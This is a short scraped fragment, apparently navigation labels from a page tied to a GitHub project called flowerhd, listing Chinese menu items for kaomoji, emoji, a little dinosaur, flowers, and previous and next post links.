Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇